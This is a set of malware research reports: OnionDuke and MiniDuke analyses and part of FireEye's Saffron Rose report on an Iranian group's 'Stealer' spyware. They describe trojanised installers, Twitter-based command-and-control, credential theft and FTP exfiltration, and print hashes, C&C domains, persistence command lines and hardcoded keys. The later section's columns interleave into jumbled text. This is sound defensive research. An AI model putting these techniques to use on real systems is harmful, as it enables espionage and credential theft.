Upon execution, the wrapper will proceed to write to disk and execute the
original executable, thereby tricking the user into believing that everything went fine.
However, the
wrapper will also write to disk and execute the second executable.
In all the cases we have observed, this
malicious executable has been the same binary (SHA1: a75995f94854dea8799650a2f4a97980b71199d2,
detected as Trojan-Dropper:W32/OnionDuke.A).
This executable is a dropper containing a PE
resource that pretends to be an embedded GIF image file.
In reality, the resource is actually an encrypted
dynamically linked library (DLL) file.
The dropper will proceed to decrypt this DLL, write it to disk and
execute it.
A flowchart of the infection process
Once executed, the DLL file (SHA1: b491c14d8cfb48636f6095b7b16555e9a575d57f, detected as
Backdoor:W32/OnionDuke.B) will decrypt an embedded configuration (shown below) and attempt to
connect to hardcoded C&C URLs specified in the configuration data.
From these C&Cs the malware may
receive instructions to download and execute additional malicious components.
It should be noted, that
we believe all five domains contacted by the malware are innocent websites compromised by the malware
operators, not dedicated malicious servers.
A screenshot of the embedded configuration data
Through our research, we have also been able to identify multiple other components of the OnionDuke
malware family.
We have, for instance, observed components dedicated to stealing login credentials from
the victim machine and components dedicated to gathering further information on the compromised
system like the presence of antivirus software or a firewall.
Some of these components have been observed
being downloaded and executed by the original backdoor process but for other components, we have yet to
identify the infection vector.
Most of these components don't embed their own C&C information but
rather communicate with their controllers through the original backdoor process.
One component, however, is an interesting exception.
This DLL file (SHA1
d433f281cf56015941a1c2cb87066ca62ea1db37, detected as Backdoor:W32/OnionDuke.A) contains
among its configuration data a different hardcoded C&C domain, overpict.com and also evidence
suggesting that this component may abuse Twitter as an additional C&C channel.
What makes the
overpict.com domain interesting, is it was originally registered in 2011 with the alias of "John Kasai".
Within a two-week window, "John Kasai" also registered the following domains: airtravelabroad.com,
beijingnewsblog.net, grouptumbler.com, leveldelta.com, nasdaqblog.net, natureinhome.com,
nestedmail.com, nostressjob.com, nytunion.com, oilnewsblog.com, sixsquare.net and ustradecomp.com.
This is significant because the domains leveldelta.com and grouptumbler.com have previously been
identified as C&C domains used by MiniDuke.
This strongly suggests that although OnionDuke and
MiniDuke are two separate families of malware, the actors behind them are connected through the use of
shared infrastructure.
A visualization of the infrastructure shared between OnionDuke and MiniDuke
Based on compilation timestamps and discovery dates of samples we have observed, we believe the
OnionDuke operators have been infecting downloaded executables at least since the end of October 2013.
We also have evidence suggesting that, at least since February of 2014, OnionDuke has not only been
spread by modifying downloaded executables but also by infecting executables in .torrent files containing
pirated software.
However, it would seem that the OnionDuke family is much older, both based on older
compilation timestamps and also on the fact that some of the embedded configuration data make
reference to an apparent version number of 4 suggesting that at least three earlier versions of the family
exist.
During our research, we have also uncovered strong evidence suggesting that OnionDuke has been used in
targeted attacks against European government agencies, although we have so far been unable to identify
the infection vector(s).
Interestingly, this would suggest two very different targeting strategies.
On one
hand is the "shooting a fly with a cannon" mass-infection strategy through modified binaries and, on the
other, the more surgical targeting traditionally associated with APT operations.
In any case, although much is still shrouded in mystery and speculation, one thing is certain.
While using
Tor may help you stay anonymous, it does at the same time paint a huge target on your back.
It's never a
good idea to download binaries via Tor (or anything else) without encryption.
The problem with Tor is
that you have no idea who is maintaining the exit node you are using and what their motives are.
VPNs
(such as our Freedome VPN) will encrypt your connection all the way through the Tor network, so the
maintainers of Tor exit nodes will not see your traffic and can't tamper with it.
Samples:
• a75995f94854dea8799650a2f4a97980b71199d2
• b491c14d8cfb48636f6095b7b16555e9a575d57f
• d433f281cf56015941a1c2cb87066ca62ea1db37
Detected as: Trojan-Dropper:W32/OnionDuke.A, Backdoor:W32/OnionDuke.A, and
Backdoor:W32/OnionDuke.B.
Post by — Artturi (@lehtior2)
Miniduke still duking it out
At the end of April Microsoft announced that a vulnerability in Word was actively being exploited.
This
vulnerability occurred in parsing RTF files and was assigned CVE-2014-1761, a thorough analysis of which
can be found on the HP Security Research blog.
We have since seen multiple cases where this exploit is
used to deliver malware and one was particularly interesting as it contained a new variant of MiniDuke
(also known as Win32/SandyEva).
MiniDuke was first discussed by Kaspersky in March 2013 in their paper The MiniDuke Mystery: PDF 0-
day Government Spy Assembler 0x29A Micro Backdoorand shortly after in a paper by Bitdefender.
Some
of the characteristics of MiniDuke — such as its small size (20 KB), its crafty use of assembly
programming, and the use of zero-day exploits for distribution — made it an intriguing threat.
Although
the backdoor is still quite similar to its previous versions, some important changes were made since last
year, the most notable being the introduction of a secondary component written in JScript to contact a
C&C server via Twitter.
The RTF exploit document
The exploit document was named Proposal-Cover-Sheet-English.rtf and is quite bland when compared to
the documents that were used in 2013, which were of a political nature.
We received the document on
April 8th, only three days after the compilation of the MiniDuke payload, dated April 5th in the PE header.
The payload remains quite small at only 24 KB.
The functionality of the shellcode which is executed by triggering the vulnerability is rather simple and
straightforward.
After decrypting itself and obtaining the addresses of some functions exported by
kernel32.dll, it decrypts and drops the payload in the %TEMP% directory in a file named “a.l” which is
subsequently loaded by calling kernel32!LoadLibraryA.
An interesting thing about the shellcode is that before transferring control to any API function it checks
the first bytes of the function in order to detect hooks and debugger breakpoints which may be set by
security software and monitoring tools.
If any of these are found the shellcode skips the first 5 bytes of the
function being called by manually executing prologue instructions (mov edi, edi; push ebp; mov ebp, esp)
and then jumping to the function code as illustrated below.
The next graph presents the execution flow of this malware when the exploitation is successful.
As
mentioned previously this version of the MiniDuke payload comes with two modules which we refer to as
the main module and the TwitterJS module.
Execution flow of MiniDuke
Main Component
Installation
Once MiniDuke receives control it checks that the host process is not rundll32.exe and whether the
current directory is %TEMP%.
If either of those conditions is met the malware assumes it is run for the
first time and it proceeds with its installation onto the system.
MiniDuke gathers information about the
system and encrypts its configuration based on that information, a method also used by OSX/Flashback
(this process is called watermarking by Bitdefender).
The end result is that it is impossible to retrieve the
configuration of an encrypted payload if analyzing it on a different computer.
The information collected on
infection has not changed since the previous version and consists of the following values:
volume serial number (obtained from kernel32!GetVolumeInformationA)
CPU information (obtained with the cpuidinstruction)
computer name (obtained from kernel32!GetComputerNameA)
Once the encrypted version of the malware is created, it is written into a file in the
%ALLUSERSPROFILE%\Application Data directory.
The name of the file is randomly picked from the
following values (you can find this listing and those of the next screenshots on the VirusRadar description:
The filename extension is also picked randomly from the following list:
To persist on the infected system after reboots, the malware creates a hidden .LNK file in the “Startup”
directory pointing to the modified main module.
The name of the .LNK file is randomly drawn from the
following values:
The .LNKfile is created using a COM object with the IShellLinkA interface and contains the following
command: “C:\Windows\system32\rundll32.exe %path_to_main_module%, export_function” Which
gives something like:
“C:\Windows\system32\rundll32.exe C:\DOCUME~1\ALLUSE~1\APPLIC~1\data.cat, IlqUenn“.
Operation
When the malware is loaded by rundll32.exe and the current directory isn’t %TEMP%, the malware starts
with gathering the same system information as described in the “Installation” section to decrypt
configuration information.
As with the previous version of MiniDuke, it checks for the presence of the
following processes in the system:
If any of these are found in the system the configuration information will be decrypted incorrectly, i.e.
the
malware will run on the system without any communication to C&C servers.
If the configuration data is
decrypted correctly, MiniDuke retrieves the Twitter page of @FloydLSchwartz in search of URLs by
which to reach C&C server.
It looks for the tag “X)))” on the page (MiniDuke was searching for “uri!” in
previous samples) and if the tag is found it decrypts a URL from the data that follows it.
The Twitter
account @FloydLSchwartz does exist but has only retweets and no strings with the special tag.
As the next step, MiniDuke gathers the following information from the infected systems:
computer name and user domain name
country code of the infected host IP address obtained from http://www.geoiptool.com
OS version information
domain controller name, user name, groups a user account belongs to
a list of AV products installed onto the system
Internet proxy configuration
version of MiniDuke
This information is then sent to the C&C server along with the request to download a payload.
The final
URL used to communicate with the C&C server looks like this: <url_start>/create.php?<rnd_param>=
<system_info> Those tokens are derived as follows:
url_start – the URL retrieved from the twitter account
rnd_param – randomly generated of lower case alphabet characters parameter name in the query
string of the URL
system_info – base64 encoded and encrypted system information
An example of such a URL is given below:
The payload is downloaded in the file named “fdbywu” using the urlmon!URLDownloadToFileA API:
The downloaded payload is a fake GIF8 file containing encrypted executable.
The malware processes the
downloaded file in the same way as previous samples of MiniDuke: it verifies the integrity of the file using
RSA-2048, then decrypts it, stores in a file and finally executes it.
The RSA-2048 public key to verify
integrity of the executable inside the GIF file is the same as in the previous version of MiniDuke.
Twitter Generation Algorithm
In the event that MiniDuke is unable to retrieve a C&C URL from this account, it generates a username to
search for based on the current date.
The search query changes roughly every seven days and is similar to
the backup mechanism in previous versions that was using Google searches.
A Python implementation of
the algorithm can be found in Appendix B.
TwitterJS component
The TwitterJS module is extracted by creating a copy of the Windows DLL cryptdll.dll, injecting a block of
code into it and redirecting the exported functions to this code.
Here is how the export address table of the
patched binary looks after modifications.
This file is then stored in an Alternate Data Stream (ADS) in NTUSER.DAT in the %USERPROFILE%
folder.
Finally this DLL is registered as the Open command when a drive is open, which has the effect of
starting the bot every time the user opens a disk drive.
Below you can find the content of
the init.cmd script used by MiniDuke to install TwitterJS module onto the system.
When loaded, TwitterJS instantiates the JScript COM object and decrypts a JScript file containing the
core logic of the module.
Prior to executing it, MiniDuke applies a light encoding to the script: The next images show the result of
two separate obfuscations, we can see that the variables have different values.
This is probably done to
thwart security systems that scan at the entry points of the JScript engine.
Result of first obfuscation
Result of second obfuscation
The purpose of this script is to use Twitter to find a C&C and retrieve JScript code to execute.
It first
generates a Twitter user to search for; this search term changes every 7 days and is actually a match to the
real account name, not the Twitter account name.
The bot then visits the Twitter profiles returned by the
search and looks for links that end with “.xhtml“.
When one is found, it replaces “.xhtml” with “.php” and
fetches that link.
Information about the computer is embedded in the Accept HTTP header.
The first link on the retrieved page should contain base64 data; the name attribute of the link is used as a
rolling XOR key to decrypt the JScript code.
Finally, MiniDuke calculates a hash of the fetched script and
compares it with a hardcoded hash in the TwitterJS script.
If they match, the fetched script is executed by
calling eval().
The tale of the broken SHA-1
The code hashing algorithm used by the component looks very much like SHA-1 but outputs different
hashes (you can find the complete implementation in Appendix B.
We decided to search for what was
changed in the algorithm; one of our working hypotheses was that the algorithm might have been altered
to make collisions feasible.
We couldn’t find an obvious difference; all the constants and the steps of the
algorithm were as expected.
Then we noticed that for short messages only the second 32-bit word was
different when compared to the original SHA-1.
SHA1(‘test’) : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
TwitterJS_SHA1(‘test’) : a94a8fe5dce4f01c1c4c0873d391e987982fbbd3
By examining how this 2nd word was generated we finally discovered that this was caused by a scope
issue.
As shown below the SHA-1 function used a variable named f: the function Z() is then called which
also uses a variable named f without the var keyword, causing it to be treated as a global variable rather
than local to the function.
The end result is that the value of f is also changed in the SHA-1 function which
affects the value of the 2nd word for that round and ultimately the whole hash for long messages.
A likely explanation of how this problem came to be is
that the variable names were changed to single letters
using an automated tool prior to embedding it in the
payload.
The 2 f variables probably had different names
in the original script which avoided the issue.
So this
leaves us with two takeaways: 1) The difference in the
hashing algorithm was unintentional and 2) Always
declare your local variables with the var keyword.
;-)
Twitter DGA accounts
We generated the list of Twitter search terms for 2013-2014 and checked if any of those were registered.
At the moment only one exists, @AA2ADcAOAA, which is the TwitterJS account that was generated
between August 21st and 27th 2013.
This account has no tweets.
In an effort to discover potential victims,
we registered the Twitter accounts corresponding to the current week both for the main and TwitterJS
components and set up tweets with encrypted URLs so that an infected computer would reach out to our
server.
So far we have received connections via the TwitterJS accounts from four computers located in
Belgium, France and the UK.
We have contacted national CERTs to notify the affected parties.
We detect
the RTF exploit document as Win32/Exploit.CVE-2014-1761.D and the MiniDuke components
as Win32/SandyEva.G.
Appendix A: SHA-1 hashes
SHA-1                                            Description
58be4918df7fbf1e12de1a31d4f622e570a81b93         RTF with Word exploit CVE-2014-1761
b27f6174173e71dc154413a525baddf3d6dea1fd      MiniDuke main component (before config encryption)
c059303cd420dc892421ba4465f09b892de93c77      TwitterJS javascript code
Appendix B &C: DGA algorithms, Twitter DGA accounts
The DGA scripts and account lists have been moved to our Github account :
https://github.com/eset/malware-research/tree/master/miniduke
Author ESET Research, ESET
SPECIAL REPORT
OPERATION
SAFFRON ROSE
2013
Authors: Nart Villeneuve, Ned Moran,
Thoufique Haq and Mike Scott
SECURITY
REIMAGINED
Fireeye: Operation Saffron Rose 2013
CONTENTS
Introduction................................................................................................................................................................................................................................................................................................................................................ 2
Background................................................................................................................................................................................................................................................................................................................................... 2
Attack Vectors...................................................................................................................................................................................................................................................................................................................................... 4
The “Stealer” Malware.................................................................................................................................................................................................................................................................................................... 6
The “Stealer” Builder and Tools......................................................................................................................................................................................................................................................... 11
Command-and-Control Infrastructure.................................................................................................................................................................................................................. 13
Victimology........................................................................................................................................................................................................................................................................................................................................... 15
Attribution.............................................................................................................................................................................................................................................................................................................................................. 16
Conclusion................................................................................................................................................................................................................................................................................................................................................ 19
About FireEye, Inc.......................................................................................................................................................................................................................................................................................... 19
1 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
We believe we’re seeing an evolution and development in Iranian-based cyber activity.
In
years past, Iranian actors primarily committed politically-motivated website defacement
and DDoS attacks.1 More recently, however, suspected Iranian actors have destroyed data
on thousands of computers with the Shamoon virus,2 and they have penetrated the Navy
Marine Corps Intranet (NMCI), which is used by the U.S. Navy worldwide.3
In this report, we document the activities of the                                   Background
Ajax Security Team, a hacking group believed to be                                  The transition from patriotic hacking to cyber
operating from Iran.
Members of this group have                                     espionage is not an uncommon phenomenon.
It
accounts on popular Iranian hacker forums such as                                   typically follows an increasing politicization within
ashiyane[.
]org and shabgard[.
]org, and they have                                    the hacking community, particularly around
engaged in website defacements under the group                                      geopolitical events.
This is followed by increasing
name “AjaxTM” since 2010.
By 2014, the Ajax                                         links between the hacking community and the
Security Team had transitioned from performing                                      state, particularly military and/or intelligence
defacements (their last defacement was in                                           organizations.
December 2013) to malware-based espionage,
using a methodology consistent with other                                           In the late 1990’s and early 2000’s, a similar
advanced persistent threat actors in this region.
transition occurred within the Chinese hacking
community.
During that time period, the Chinese
It is unclear if the Ajax Security Team operates in                                 hacking community engaged in website
isolation or if they are a part of a larger                                         defacements and denial of service attacks in
coordinated effort.
The Ajax Security Team itself                                   conjunction with incidents such as the accidental
uses malware tools that do not appear to be                                         bombing of the Chinese embassy in Belgrade in
publicly available.
We have seen this group                                         1999, the collision of a U.S. spy plane and a
leverage varied social engineering tactics as a                                     Chinese military plane in 2001, and the Japanese
means to lure their targets into infecting                                          Prime Minister’s controversial visit to the
themselves with malware.
Although we have not                                       Yasukuni shrine in 2005.4 Around this time a
observed the use of exploits as a means to infect                                   significant shift in philosophy began to take place.
victims, members of the Ajax Security Team have
previously used publicly available exploit code in                                  Members of the Chinese hacking community that
web site defacement operations.
participated in such attacks soon found that
transitioning to cyber espionage was more
In sum, FireEye has recently observed the Ajax                                      rewarding—both in terms of developing a more
Security Team conducting multiple cyber                                             advanced skill set as well as in monetary
espionage operations against companies in the                                       remuneration.
One group known as NCPH
defense industrial base (DIB) within the Unites                                     (Network Crack Program Hacker), whose
States, as well as targeting local Iranian users of                                 founding member “Wicked/Withered Rose” was a
anti-censorship technologies that bypass Iran’s                                     patriotic hacker, made the transition to cyber
Internet filtering system.
espionage by founding a “hacker-for-hire” group
1 HP Security Research.
“Threat Intelligence Briefing Episode 11”.
February 2014.
2 Perlroth, N. “In Cyberattack on Saudi Firm, U.S. Sees Iran Firing Back”.
October 2012.
3 Gallagher, S. “Iranians hacked Navy network for four months?
Not a surprise”.
February 2014.
4 Key.
“Honker Union of China to launch network attacks against Japan is a rumor”.
September 2010.
2 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
that simultaneously developed an association with                                  Foreign news and opposition websites are
the Chinese military.5 The group began developing                                  routinely blocked in Iran, as are the tools that
zero-day exploits, rootkits and remote access                                      allow users in Iran to bypass these restrictions.11
tools (RATs)—using them in attacks against a                                       One of the key stakeholders in Iran’s Internet
variety of targets including the U.S. Department of                                censorship program is the Iranian Revolutionary
Defense.6 (One of this group’s associates, “whg”, is                               Guard Corps (IRGC), under which the Basij
still active and is believed to have developed one                                 paramilitary organization operates.
variant of the PlugX/SOGU malware.7) The
rationale behind this transition within the Chinese                                The Basij formed the Basij Cyber Council and
hacking community is nicely summed up in a                                         actively recruits hackers in order to develop both
message by the “Honker Union of China” to its                                      defensive and offensive cyber capabilities.12 There
members in 2010:                                                                   is increasing evidence to suggest that the hacker
community in Iran is engaged in a transition from
What benefit can hacking a Web page bring our                                      politically motivated defacements and denial of
country and the people?
It is only a form of                                       service attacks to cyber espionage activities.
This
emotional catharsis, please do not launch any                                      model is consistent with the Basij’s recruitment of
pointless attacks, the real attack is to fatally                                   paramilitary volunteer hackers to “engage in less
damage their network or gain access to their                                       complex hacking or infiltration operations” leaving
sensitive information.8                                                            the more technical operations to entities over
which they have increasingly direct control.13
In Iran, the hacking community appears to be
undergoing a similar transformation.
While a                                       As such, the capabilities of threat actors operating
variety of Iranian hacker groups had engaged in                                    from Iran have traditionally been considered
politically motivated website defacements, the                                     limited.14 However, the “Shamoon” attacks, which
emergence of the “Iranian Cyber Army” in 2009                                      wiped computers in Saudi Arabia and Qatar,
demonstrated “a concentrated effort to promote                                     indicate an improvement in capabilities.15 And
the Iranian government’s political narrative                                       unsurprisingly, Iran has reportedly increased its
online”.9 They targeted, among others, news                                        efforts to improve offensive capabilities after
organizations, opposition websites and social                                      being targeted by Stuxnet and Flame.16
media.10 This marked the beginning of a large-
scale cyber offensive against the perceived
enemies of the Iranian government.
5	   Elegant, S. “Enemies at The Firewall”.
December 2007.
Dunham, K. & Melnick, J.
“’Wicked Rose’ and the NCPH Hacking Group”.
Wikipedia.
“Network Crack Program Hacker Group”.
6	   Dunham, K. & Melnick, J.
“’Wicked Rose’ and the NCPH Hacking Group”.
7	   Blasco, J.
“The connection between the Plugx Chinese gang and the latest Internet Explorer Zeroday”.
September 2012.
8	   Key.
“Honker Union of China to launch network attacks against Japan is a rumor”.
September 2010.
9	   OpenNet Initiative.
“After the Green Movement: Internet Controls in Iran 2009 – 2012”.
February 2013.
10	 Rezvaniyeh, F. “Pulling the Strings of the Net: Iran’s Cyber Army”.
February 2010.
“Twitter hackers appear to be Shiite group”.
December 2009.
11	 OpenNet Initiative.
“Iran”.
June 2009.
12	 The IRGC has also indicated that they would welcome hackers that support the Iranian government.
Esfandiari, G.
“Iran Says It Welcomes Hackers Who Work For Islamic Republic”.
March 2011, HP Security Research.
“Threat Intelligence Briefing Episode 11”.
February 2014.
13	 BBC Persian.
“Structure of Iran’s Cyber Warfare”.
14	 Mandiant.
“M-Trends: Beyond the Breach, 2014”, page 9.
April 2014.
15	 Mount, M. “U.S.
Officials believe Iran behind recent cyber attacks”.
October 2012.
16	 Shalal-Esa, A.
“Iran strengthened cyber capabilities after Stuxnet: U.S. general”.
January 2013, Lim, K. “Iran’s cyber posture”.
November 2013.
3 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
Attack Vectors                                                                 registered the domain “aeroconf2014[.
]org” in
We have observed the Ajax Security Team use a                                  order to impersonate the IEEE Aerospace
variety of vectors to lure targets into installing                             conference—the conference’s actual domain is
malicious software and/or revealing login                                      aeroconf.org—and sent out an email with the
credentials.
These attack vectors include sending                              following information:
email, private messages via social media, fake login
pages, and the propagation of anti-censorship                                  From: invite@aeroconf2014[.
]org
software that has been infected with malware.
Subject: IEEE Aerospace Conference 2014
Spear phishing                                                                 The email encouraged users to visit a fake
During our investigation, we discovered that these                             conference website owned by the attackers:
attackers sent targeted emails, as well as private
messages through social media.
For example, the                                Upon visiting the website, visitors were notified
attackers targeted companies in the DIB using a                                that they must install “proxy” software in order to
fake conference page as a lure to trick targets into                           access it, which is actually malware.
installing malicious software.
The attackers
Figure 1: The Fake
IEEE Aerospace
Conference Website
7
Bloomberg.
“Neiman Marcus Hackers Set Off 60,000 Alerts While Bagging Credit Card Data.” February 2014.
4 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
Credential Phishing                                                                   political opposition.18 In response to these
The attackers have also used phishing attacks, in                                     restrictions, Iranians have been increasingly using
which they set up Web pages to emulate various                                        software that bypasses such filtering technology.
services that require security credentials.
The
attackers tailored these login pages for specific                                     To counter anti-censorship efforts, Iran has
targets in the DIB and spoofed a variety of services                                  attempted to block the use of certain software
such as Outlook Web Access and VPN login pages.
tools.19 In 2012, researchers found that an
anti-censorship tool that is primarily used by
If users attempt to login through these fake Web                                      Internet users in Iran was bundled with malware
pages, the attackers collect their login credentials.
and redistributed.20
Anti-censorship Tools                                                                 Our investigation found that malware-laden
All Internet Service Providers (ISPs) in Iran are                                     versions of legitimate anti-censorship software,
required to implement filtering technology that                                       such as Psiphon and Ultrasurf, were distributed to
censors access to content which the Iranian                                           users Iran and Persian speaking people around the
government deems unacceptable.17 This content                                         world.
includes categories such as pornography and
Figure 2: The Fake Outlook
Web Access page
17 OpenNet Initiative.
“Iran”.
June 2009.
18 OpenNet Initiative.
“After the Green Movement: Internet Controls in Iran 2009 – 2012”.
February 2013.
19 Torbati, Y.
“Iran blocks use of tool to get around Internet filter”.
March 2013.
20 Marquis-Boire, M. “Iranian anti-censorship software ‘Simurgh’ circulated with malicious backdoor”.
May 2012.
5 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
The “Stealer” Malware                                        The IntelRS.exe is written in .NET and is aptly
Host-based Indicators and Malware                            named “Stealer”, as it has various data collection
Functionality                                                modules.
It drops and launches AppTransferWiz.dll
We have observed the Ajax Security Team use a                via the following command:
malware family that they identify simply as ‘Stealer’.
They deliver this malware as a malicious executable          “C:\WINDOWS\system32\rundll32.exe” “C:\
(dropper).
The executable is a CAB extractor that            Documents and Settings\{USER}\Application
drops the implant IntelRS.exe.
This implant, in turn,
drops various other components into C:\                      Data\IntelRapidStart\AppTransferWiz.dll”,#110
Documents and Settings\{USER}\Application
Data\IntelRapidStart\.
The following files are               110 is an ordinal that corresponds to “StartBypass”
written to disk in this location:                            export in AppTransferWiz.dll.
File                                               Functionality
IntelRS.exe             Various stealer components and encryption implementation
DelphiNative.dll        Browser URL extraction, IE Accounts, RDP accounts (Imported by IntelRS.exe)
IntelRS.exe.config      Config containing supported .NET versions for IntelRS.exe
AppTransferWiz.dll      FTP exfiltration (Launched by IntelRS.exe)
RapidStartTech.stl      Base64 encoded config block containing FTP credentials, implant name, decoy name, screenshot
interval and booleans for startup, keylogger and screenshot
Figure 3: StartBypass
Ordinal
6 www.fireeye.com
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Data exfiltration is conducted over FTP by              •	   Takes various screenshots
AppTransferWiz.dll, which acts as an FTP client.
This DLL is written in Delphi.
There is code to         •	   Harvests instant messaging (IM) account
exfiltrate data over HTTP POST as well, but it is            information: GTalk, Pidgin, Yahoo, Skype
unused.
We also found incomplete code that would
perform SFTP and SMTP exfiltration, which could         •	   Tracks credentials, bookmarks and history
be completed in a future version.
from major browsers: Chrome, Firefox, Opera
State is maintained between the stealer                 •	   Collects email account information
component IntelRS.exe and the FTP component
AppTransferWiz.DLL using a file from the FTP            •	   Extracts installed proxy software
server “sqlite3.dll”, as well as a global atom               configuration information
“SQLiteFinish”.
IntelRS.exe waits in an indefinite
loop, until AppTransferWiz.DLL defines this state.
•	   Harvests data from installed cookies
Once the state is set, IntelRS.exe proceeds to          IntelRS.exe loads a Delphi component called
collect data from various areas in the system as        DelphiNative.DLL, which implements some
described below:                                        additional data theft functionality for the following:
•	    Collects system information: hostname,            •	   Internet Explorer (IE) accounts
username, timezone, IP addresses, open ports,
installed applications, running processes, etc.
•	   Remote Desktop Protocol (RDP) accounts
•	    Performs key logging                              •	   Browser URLs
Figure 4: AppTransferWizard.
dll creates sqlite3.dll and
global atom
Figure 5: IntelRS.exe sleeps
until global atom is set and
sqlite3.dll is present
7 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
The Stealer component uses common techniques                      Analysis of the malware indicates that the data is
to acquire credential data.
For instance, it loads                encrypted via a Rijndael cipher implementation;
vaultcli.DLL and uses various APIs shown below to                 more specifically it uses AES which is a specific set
acquire RDP accounts from the Windows vault.
of configurations of Rijndael.
It uses a key size of
256 bytes and block size of 128 bytes, which
Harvested data is encrypted and written to disk on                conforms to the FIPS-197 specification of
the local host.
The filenames for these encrypted                 AES-256.21 It utilizes the passphrase ‘HavijeBaba’
files follow this naming scheme:                                  and a salt of ‘salam!
*%#’ as an input to PBKDF2
(Password-Based Key Derivation Function 2) to
{stolen data type}_{victim system name}_                          derive the key and initialization vector for the
YYYYMMDD_HHMM.Enc                                                 encryption.22 This key derivation implementation in
.NET is done using the Rfc2898DeriveBytes
The {stolen data type} parameter indicates where                  class.23 The passphrase and salt are Persian
the data was harvested from (e.g., a Web browser,                 language words.
“Havij” means “carrot”, “Baba”
an instant messenger application, installed proxy                 means “father”, and “Salam” is a common greeting
software).
that means “Peace”.
Figure 6: Acquiring RDP
Accounts
21
ShawnFa.
“The Differences Between Rijndael and AES”.
October 2006.
22
Wikipedia.
“PBKDF2”.
23
Microsoft.
“Rfc2898DeriveBytes Class”.
8 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
Sample Timeline                                        Spoofed Installers
We identified 17 droppers during this research,        Many of the malicious executables (droppers) that
including:                                             we collected were bundled with legitimate
installers for VPN or proxy software.
Examples
•	    9 samples compiled on 2013-02-17 07:00           include:
•	    4 samples compiled on 2009-07-13 23:42           •	   6dc7cc33a3cdcfee6c4edb6c085b869d was
bundled with an installer for Ultrasurf Proxy
•	    3 sample compiled on 2013-10-14 06:48                 software.
•	    1 sample compiled on 2013-10-13 09:56            •	   3d26442f06b34df3d5921f89bf680ee9 was
bundled with an installer for Gerdoovpn
The 2009 compile time appears to have been                  virtual private network software.
forged, while the 2013 compile times may be
legitimate.
•	   3efd971db6fbae08e96535478888cff9 was
bundled with an installer for the Psiphon
In some cases, we found an implant but not the              proxy.
parent dropper.
In total, 22 of the 23 implants that
we identified during our research had unique           •	   288c91d6c0197e99b92c06496921bf2f was
compile times ranging from 2013-10-29 until                 bundled with an installer for Proxifier
2014-03-15.
We identified two implants that were            software.
both compiled on 2014-3-15 at 23:16.
These
compile times appear to be legitimate and coincide     These droppers were also designed to visually
with attempted intrusion activity attributed to        spoof the appearance of the above applications.
these attackers.
These droppers contained icons used in the
legitimate installers for these programs.
Figure 7: Icon for the Psiphon
Anti-censorship Tool
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Fireeye: Operation Saffron Rose 2013
Process Debug (PDB) Strings
Analysis of the PDB strings seen in the implants      VS_VERSION_INFO
indicates that there may be more than one             VarFileInfo
developer working on the source code for the          Translation
Stealer builder.
The following two PDB paths were     StringFileInfo
seen in the collection of implants that we            000004b0
collected:                                            Comments
Process for Windows
•	    d:\svn\Stealer\source\Stealer\Stealer\obj\      CompanyName
x86\Release\Stealer.pdb
Microsoft
FileDescription
•	    f:\Projects\C#\Stealer\source\Stealer\
Process for Windows
Stealer\obj\x86\Release\Stealer.pdb
FileVersion
These strings indicate that the Stealer source        1.0.0.0
code was stored in two different paths but not        InternalName
necessarily on two different computers.
The f:\       Stealer.exe
Projects\ path may be from an external storage        LegalCopyright
device such as a thumb drive.
It is therefore         Copyright
possible that only one person has access to the          2013
source code, but keeps a separate repository on       OriginalFilename
an external storage device.
Alternatively, the        Stealer.exe
different file paths could be the result of two
ProductName
different actors storing their source code in two
Process for Windows
different locations.
ProductVersion
Builder Artifacts                                     1.0.0.0
In nine of the implants that we collected, we found   Assembly Version
a consistent portable executable (PE) resource        1.0.0.0
with a SHA256 of
5156aca994ecfcb40458ead8c830cd66469d5f5
a031392898d323a8d7a7f23d3.
This PE
resource contains the VS_VERSION_INFO.
In
layman’s terms, this can best be described as the
metadata describing the executable file.
This
specific PE resource contained the
following information:
Note the InternalName of ‘Stealer.exe’.
This is the
attackers’ name for this malware family.
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Fireeye: Operation Saffron Rose 2013
The “Stealer” Builder and Tools                             The Builder option enables an attacker to
During our research, we recovered two different             configure a new Stealer backdoor.
The user can
tools used by the members of the Ajax Security              configure the new backdoor to connect to a
Team in conjunction with targeted intrusion                 specific CnC server with a personalized username
activities.
The first tool, labeled the ‘Stealer Builder’   and password.
The attacker can bind the backdoor
was compiled on 2014-04-08.
This compile date               to a legitimate application of his or her choosing, or
may indicate that the group is still active.
they can cloak it with an icon designed to make the
backdoor appear as though it is a legitimate file.
Upon executing the ‘Stealer Builder’ the user is            We also noted that the Builder did not allow the
presented with an option to load the ‘Builder’ or to        attacker to select a new passphrase or salt used to
‘Decrypt’ logs generated from a victim and                  encrypt the stolen data.
The passphrase
exfiltrated to a command-and-control (CnC) server           ‘HavijeBaba’ and a salt of ‘salam!
*%#’ are both
under the groups’ control.
hardcoded into the builder.
Figure 8: The Stealer Tool
Figure 9: The Stealer Builder
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Fireeye: Operation Saffron Rose 2013
During testing, we observed that backdoors            Base64 encoded text into plaintext.
Members of
generated by this Stealer Builder had a timestamp     the Ajax Security Team likely this use tool to
of 2013-12-19.
We had one backdoor in our             encode the configuration data seen in
repository with this same timestamp.
This sample      RapidStartTech.stl files.
As noted above, the
RapidStartTech.stl contains the backdoor’s FTP
(MD5 1823b77b9ee6296a8b997ffb64d32d21)                credentials, implant name, decoy name, and
was configured to exfiltrate data to ultrasms[.]ir.
screenshot interval, along with boolean settings for
The VS_VERSION_INFO PE resource mentioned             startup, keylogger, and screenshot plugins.
above (SHA256
5156aca994ecfcb40458ead8c830cd66469d5f5               Encoding and decoding Base64 data is a
a031392898d323a8d7a7f23d3) is an artifact of          straightforward task and the standard Linux
the Stealer builder that we recovered.
The builder    operating system offers a number of command line
generates an executable named IntelRapidStart.
tools to achieve this task.
The presence of a
exe.
This executable contains the aforementioned      Windows-based GUI tool that simplifies encoding
VS_VERSION_INFO PE resource.
and decoding Base64 data indicates that these
tools may have been developed for less adept
We also recovered a tool designed to encode           users.
plaintext into Base64 encoded text or decode
Figure 10: Base64 Encoder
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Command-and-Control Infrastructure                    The website used in the Aerospace Conference
The CnC infrastructure consists of distinct, but      attack was aeroconf2014[.
]org, which is registered
linked, clusters that have targeted both the users    to info@usa.gov[.]us.
However, historical WHOIS
of anti-censorship tools in Iran as well as defense   information shows that the domain was registered
